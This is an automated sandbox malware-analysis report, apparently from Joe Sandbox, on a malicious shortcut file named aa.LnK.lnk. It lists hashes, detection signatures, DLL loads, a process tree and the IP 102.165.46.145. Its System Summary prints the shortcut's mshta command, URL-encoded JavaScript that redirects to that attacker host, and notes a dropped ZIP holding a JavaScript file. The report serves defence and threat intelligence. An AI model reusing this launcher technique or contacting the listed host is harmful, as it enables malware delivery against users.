Windows Analysis Report
aa.LnK.lnk

Overview

General Information

Sample name: aa.LnK.lnk
Analysis ID: 1524795
MD5: c15e90f68dc8a127205072910f55ff41
SHA1: 079c39646eb91f4c24152943e5d18c285f6a53e5
SHA256: 342cdec573452a0280dda91354b37cb724e0fbde6744b2ce5d0d6872b8e6bed8
Tags: lnkuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Found suspicious ZIP file
JA3 SSL client fingerprint seen in connection with other malware
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Use Short Name Path in Command Line

Classification

AV Detection
barindex
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 84.2% probability
Source: unknown HTTPS traffic detected: 102.165.46.145:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 102.165.46.145:443 -> 192.168.2.6:49724 version: TLS 1.2
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 82dc2ea333123943700c0f6b3022789a
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: unknown TCP traffic detected without corresponding DNS query: 102.165.46.145
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: 102.165.46.145Connection: Keep-Alive
Source: mshta.exe, 00000001.00000002.2322453260.000001412703D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000001.00000003.2297663983.00000141270A3000.00000004.00000020.00020000.00000000.sdmp, {DC241728-8157-11EF-8C2D-ECF4BB2D2496}.dat.4.dr, ~DF3A347E01C7E1A4F8.TMP.4.dr String found in binary or memory: https://102.165.46.145/
Source: mshta.exe, 00000001.00000002.2322453260.000001412707E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://102.165.46.145/-;
Source: mshta.exe, 00000001.00000002.2322453260.000001412702C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://102.165.46.145/2288
Source: mshta.exe, 00000001.00000002.2322453260.000001412702C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://102.165.46.145/n
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown HTTPS traffic detected: 102.165.46.145:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 102.165.46.145:443 -> 192.168.2.6:49724 version: TLS 1.2

System Summary
barindex
Found suspicious ZIP file
Source: DocumentoRserva30513[1].zip.7.dr Zip Entry: reserva/Donejoao.js
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: classification engine Classification label: mal56.winLNK@8/10@0/1
Source: C:\Program Files\Internet Explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Temp\~DF9C40BA2442EF5D9D.TMP Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" "javascript:window.location.href='%68%74%74%70%73%3A%2F%2F%31%30%32%2E%31%36%35%2E%34%36%2E%31%34%35%2F';close();"
Source: unknown Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
Source: C:\Program Files\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6228 CREDAT:17410 /prefetch:2
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Source: C:\Program Files\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6228 CREDAT:17414 /prefetch:2
Source: C:\Program Files\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6228 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6228 CREDAT:17414 /prefetch:2 Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ieproxy.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: aa.LnK.lnk LNK file: ..\..\..\Windows\System32\mshta.exe
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Lync Jump to behavior

Persistence and Installation Behavior
barindex
Windows shortcut file (LNK) starts blacklisted processes
Source: LNK file Process created: C:\Windows\System32\mshta.exe
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: mshta.exe, 00000001.00000002.2322453260.0000014127059000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1524795 Sample: aa.LnK.lnk Startdate: 03/10/2024 Architecture: WINDOWS Score: 56 20 Windows shortcut file (LNK) starts blacklisted processes 2->20 22 Found suspicious ZIP file 2->22 24 AI detected suspicious sample 2->24 7 iexplore.exe 62 74 2->7         started        9 mshta.exe 2->9         started        process3 process4 11 iexplore.exe 8 7->11         started        13 iexplore.exe 19 7->13         started        dnsIp5 16 ssvagent.exe 501 11->16         started        18 102.165.46.145, 443, 49723, 49724 RAINBOW-HKRainbownetworklimitedHK South Africa 13->18 process6
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
102.165.46.145
 unknown South Africa
134121 RAINBOW-HKRainbownetworklimitedHK false

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://102.165.46.145/ false unknown